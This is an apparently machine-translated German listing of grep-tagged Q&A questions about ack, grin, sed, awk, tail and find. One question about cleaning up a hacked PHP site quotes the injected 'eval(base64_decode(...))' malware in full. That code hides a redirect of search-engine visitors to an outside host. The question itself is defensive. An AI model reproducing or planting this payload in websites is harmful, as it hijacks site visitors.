Als «grep» getaggte Fragen

grep ist ein Unix-Befehlszeilenprogramm, das Eingaben nach Zeilen durchsucht, die einem regulären Ausdruck entsprechen (oder nicht), und die Ergebnisse druckt. Verwenden Sie dieses Tag für Fragen zur Verwendung von grep-Funktionen, zum Schreiben regulärer Ausdrücke, die mit grep funktionieren, und zur allgemeinen Verwendung. Da grep jetzt in Unix-ähnlichen Umgebungen (z. B. Cygwin unter Windows) verfügbar ist, können Sie dieses Tag auch für Kompatibilitätsfragen und Unterschiede zwischen Versionen und Softwareumgebungen verwenden.

3
Grinsen, ack und rak Vergleich
Nachdem ich ack schon seit einiger Zeit benutze, finde ich es für meine Entwicklungszwecke viel besser als grep. Aber dann habe ich von Rak und Grinsen gehört . Hat jemand alle drei benutzt und kann einen Vergleich anstellen?
8 grep  ack 


4
Drucken Sie Zeile X vor / nach der gefundenen Zeile
Ich möchte in einer bestimmten Datei nach einer bestimmten Zeichenfolge suchen. Wenn ich die Zeichenfolge gefunden habe, möchte ich auch die Zeilen der Zeile X vor (oder nach) dieser Zeile drucken. Kann das mit grep oder awk oder brauche ich eine Kombination? Ich möchte so etwas wie haben , diese …
7 grep  sed  awk 



2
Filter Tail-Befehl durch mehrere Grep-Befehle, um Dateien zu trennen
Ich versuche, die Ausgabe einer Protokolldatei auf der Grundlage eines Grep-Filters in getrennte Protokolldateien zu filtern. tail -f test.log | tee> (grep "Error"> error.log)> (grep "Warning" "> warning.log) Auf diese Weise befinden sich alle "Fehler" -Einträge in einer Datei und alle "Warnung" -Einträge in einer separaten Datei. Ich weiß, dass …
5 linux  bash  grep  tail 


1
ack rekursiert nicht, wenn ein Dateimuster angegeben wird
ack "#define" wird in Unterverzeichnisse rekursiv und findet Dateien, die #define enthalten. Aber ich wollte die Suche auf * .h-Dateien beschränken, also habe ich es versucht ack "#define" *.h und es kehrt nicht mehr zurück. Die einzigen Ergebnisse stammen aus Dateien im Arbeitsverzeichnis. Ausführung: ack 1.96 Läuft unter Perl 5.14.2 …
3 linux  grep  ack 


1
grep, xargs, sed um PHP eval hack aufzuräumen
Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website. Beispielcode zum Abgleichen / Entfernen <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Versuchter Befehl: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für …
3 grep  sed  xargs 

1
Warum kann ps wissen, welcher Prozess danach läuft?
[root@myvm1 ~]# ps aux | grep ls root 13594 0.0 0.1 3912 672 pts/1 R+ 09:46 0:00 grep ls In den oben, die ps aux läuft zuerst und seine Ausgabe wird dann an die weitergeleitet grep ls Befehl. Das grep ls Befehl läuft nach ps aux. Warum also? ps wissen …
2 linux  bash  grep  ps 


2
Nur Ordner finden
Meine Festplatte ist in einem Durcheinander, also habe ich beschlossen, eine Bereinigung durchzuführen. Als Teil davon möchte ich alle Ordner, die Musik enthalten, in einem zusammenführen. Was ich tun möchte, ist, auf meinem Laufwerk nach * .mp3 und * .aac zu suchen und den Namen der Ordner abzurufen. Dann möchte …
2 bash  regex  find  grep  pipe 

2
wie man eine Flagge als Argument an grep übergibt
Ich versuche zu übergeben - als Argument an grep, weil die Datei, an der ich interessiert bin, sie enthält - in ihrem Text wie folgt grep -- file.txt aber ich kann nicht weil grep sieht - als flagge. Wie übergebe ich - eher als Argument als als Fahne - an …
2 ubuntu  unix  grep 


Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.